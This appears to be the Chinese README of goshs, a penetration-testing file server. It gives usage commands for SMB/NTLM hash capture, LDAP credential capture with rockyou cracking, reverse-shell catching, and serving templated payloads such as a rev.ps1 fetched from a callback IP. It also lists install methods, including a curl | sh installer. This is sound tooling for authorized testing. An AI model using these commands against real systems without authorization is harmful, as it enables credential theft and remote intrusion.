你正处于测试任务中间。你需要传输文件、捕获 SMB 哈希或快速搭建 HTTPS 服务器——而 python3 -m http.server 无法满足需求。
goshs 是一个单二进制文件服务器,专为那些你需要比 Python 的 SimpleHTTPServer 更多功能、但又不想配置 Apache 的时刻而构建。HTTP/S、WebDAV、FTP/SFTP、SMB、LDAP/S、基本认证、分享链接、DNS/SMTP 回调、NTLM 哈希捕获与破解——全部通过一个命令实现。


亲自尝试:demo.goshs.de

# Serve the current directory on port 8000
goshs
# Serve with HTTPS (self-signed) and basic auth
goshs -s -ss -b user:password
# Capture SMB hashes
goshs -smb -smb-domain CORP
# Capture LDAP credentials and NTLM hashes (with optional wordlist cracking)
goshs -ldap
goshs -ldap -ldap-wordlist /usr/share/wordlists/rockyou.txt
# Catch DNS callbacks and receive emails
goshs -dns -dns-ip 1.2.3.4 -smtp -smtp-domain your-domain.com
# Self-destruct after 2 hours
goshs --ttl 2h
# Run with the interactive terminal dashboard (great for headless SSH sessions)
goshs --tui
# Serve payloads that auto-fill your callback host/port at download time
goshs -i 10.10.14.7 --template --tpl-var LPORT=4444
# fetch rendered: curl 'http://10.10.14.7:8000/rev.ps1?tpl'
详细文档请访问 docs.goshs.de
goshs 可以为 bash、fish 和 zsh 安装 Tab 自动补全:
goshs --completion bash
goshs --completion fish
goshs --completion zsh
在 macOS 上使用 Homebrew 时,会自动使用正确的 Homebrew 路径。安装后,命令会打印出确切的激活指令,例如:
source ~/.local/share/bash-completion/completions/goshs
绑定的 Web 资源已提交,因此简单构建即可运行:
git clone https://github.com/goshs-labs/goshs.git
cd goshs
go build -o goshs .
如果你更改了 JavaScript 或 SCSS 源文件,请先安装 esbuild 和 sass 并重新构建资源:
make generate
go build -o goshs .
这些是让 goshs 更安全的优秀贡献者 ❤️
加入 Discord 社区并开始连接。
特别感谢 sc0tfree,他使用 Python 编写的项目 updog 为本项目带来了灵感。
| 📁 文件操作 | 下载(通过 HTTP Range 支持断点续传和定位)、上传(拖放、POST/PUT)、删除、批量 ZIP、二维码 |
| 🔌 协议 | HTTP/S, WebDAV, FTP/SFTP, SMB, LDAP/S |
| 🔒 认证与安全 | 基本认证、证书认证、TLS(自签名、Let's Encrypt、自定义证书)、IP 白名单、基于文件的 ACL |
| ⚙️ 服务器模式 | 只读、仅上传、禁止删除、静默、隐藏、CLI 命令执行、TTL 自毁 |
| 🔗 分享链接 | 基于令牌的分享、下载限制、时间限制 |
| 🎯 协作 / CTF | DNS 服务器、SMTP 服务器、SMB NTLM 哈希捕获与破解、LDAP 凭据捕获与 NTLM 哈希破解(针对 Log4Shell 的 JNDI 模式)、重定向端点、反向 Shell 捕获器 + 载荷生成器 |
| 🧩 载荷模板化 | 按需将 {{.LHOST}}/{{.LPORT}} 及自定义 --tpl-var 值渲染到提供下载的文件中(?tpl) |
| 🔔 集成 | Webhooks、通过 localhost.run 隧道、配置文件、JSON API、mDNS |
| 🖥️ TUI 仪表盘 | 交互式全屏终端仪表盘;实时面板显示 HTTP、DNS、SMB、LDAP、SMTP、反向 Shell 和剪贴板;从终端附加和升级 Shell |
| 🛠️ 杂项 | 暗色/亮色主题、剪贴板、自动更新、日志输出、嵌入文件、降低权限 |
| 方法 |
|---|
| 🐧 curl | sh | curl -sSfL https://goshs.de/install.sh | sh |
| 🦫 Go | go install goshs.de/goshs/v2@latest |
| 🐉 Kali 和 Parrot OS | sudo apt install goshs |
| 🎗️ Arch Linux (AUR) | yay -S goshs-bin |
| 🖤 BlackArch | pacman -S goshs |
| 🏔️ Alpine Linux (edge) | apk add goshs |
| 🫙 Snap | snap install goshs |
| 🎩 Fedora / RHEL (COPR) | dnf copr enable goshs-labs/goshs && dnf install goshs |
| 🦎 openSUSE | sudo zypper install goshs |
| ❄️ Nix / NixOS | nix-env -iA nixpkgs.goshs |
| 🍺 Homebrew | brew install goshs |
| 🪟 Scoop | scoop bucket add extras && scoop install extras/goshs |
| 🪟 winget | winget install GoshsLabs.Goshs |
| 🍫 Chocolatey | choco install goshs |
| 🐳 Docker | docker run --rm -it -p 8000:8000 -v "$PWD:/pwd" goshs-labs/goshs:latest -d /pwd |
| 📦 发布版 | 从 GitHub Releases 下载 |
![]() | ![]() | ![]() | ![]() | ![]() | ![]() | ![]() | ![]() | ![]() | wooseokdotkim | Guilhem7 |